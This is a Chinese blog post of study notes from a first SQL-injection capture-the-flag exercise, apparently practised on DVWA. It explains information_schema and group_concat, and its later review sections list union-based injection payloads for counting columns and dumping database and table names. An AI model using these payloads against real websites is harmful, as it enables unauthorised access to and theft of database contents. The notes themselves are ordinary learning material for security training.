1. 第一道sql注入题所学

本文介绍了如何通过SQL注入来查找数据库中的信息,包括利用`information_schema`数据库的`tables`和`columns`表来获取数据库名、表名及字段名。重点讲解了`group_concat`函数的使用,以及如何构造查询语句来展示结果。
摘要由CSDN通过智能技术生成
  1. 总体思路:

    其实flag藏在网站的数据库某张表的某个字段中,作为一行记录存在。所以我们要做的事就是,通过sql注入,找到所有的database,找到每个database的每一张table,找到每一张table的每一个字段。

在这里插入图片描述

  1. 自己不熟悉的地方:

    • select … where xxx = ‘’ union select 1,2,3如何让1,2,3体现在界面上 ?即需不需要加 and 1=1 或者 or 1=1。

      答:如果加了or 1=1,那么相当于where 1=1,即把所有数据都查了出来,就不行。可以直接用’闭合或者使用’闭合后,加一个and 1 = 1。其实可以通过试来。

    • information_schema数据库的使用,以及group_concat的理解。

      答:information_schema数据库有两张关键的表,一张是tables表,另一张是columns表。

      (1.1) information_schema.tables表的字段table_schema,代表着所有**数据库(database)**的名称。可以通过select table_schema from information_schema.tables来查看所有数据库名称,效果如图:

      在这里插入图片描述

      但是会有很多重复的。我们可以通过select table_schema from information_schema.tables group by table_schema来查看去重后的数据库名称。效果如下:

    在这里插入图片描述

    (1.2) information_schema.tables表的字段table_name,代表着所有的数据库表(table)。可以通过select table_name from information_schema.tables来查看。然后,数据库表总和某个数据库相对应,所以一般是select table_name, table_schema from information_schema.tables,如图所示:
    在这里插入图片描述

    如果想一行记录看一种数据库,以及它里面的所有表,那么可以用到group_concat,比如:select group_concat(table_name), table_schema from information_schema.tables group by table_schema,其效果如下:

    在这里插入图片描述

    通过使用group_concat和不使用group_concat的对比,可以直观发现group_concat的作用,如下图所示:

    在这里插入图片描述

    当然,information_schema.tables还有许多其他的字段,上面两个是information_schema.tables的主要字段,通过select * from information_schema.tables可以查看


    (2) information_schema.columns表的column_name字段可以查看所有数据库中的所有表的所有字段(column)。字段确定之前,一般要确定字段所在数据库的名称以及表的名称。所以查询的sql语句一般如下:

    select column_name from information_schema.columns where table_schema="whichDatabase" and table_name ="whichTable"

    如果"whichDatabase"为"information_schema"并且"whichTable"为"columns",那么效果如下:

    在这里插入图片描述

  2. 小总结

在这里插入图片描述


2022.11.7 回顾

  • show databases; =
    select table_schema from information_schema.tables;

    select table_schema from information_schema.tables group by table_schema;

  • show tables; =
    select table_name from information_schema.tables where table_schema='dvwa'

  • 如何查看表结构?(得到表字段)
    select column_name from information_schema.columns where table_schema="dvwa" and table_name="users";

    select * from dvwa.users;
    desc users;

  • 查看当前使用的哪个数据库
    select database();

参考链接:


2024.10.26回顾

1、最先测试有几个字段

?id=1 union select 1 -- d
?id=1 union select 1, 2 -- d
?id=1 union select 1, 2, 3 -- d
?id=1 union select 1, 2, 3, 4 -- d
......

2、然后可以这样判断输入关键单词错误没有(可以用navicat辅助):
?id=2 union select 1,2,3,4 from information_schema.tables

?id=2 union select table_schema,table_schema,table_schema,table_schema from information_schema.tables -- d

3、最后用上group_concat进行爆库:
2 union select group_concat(table_schema), group_concat(table_schema), group_concat(table_schema), group_concat(table_schema) from information_schema.tables -- d

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值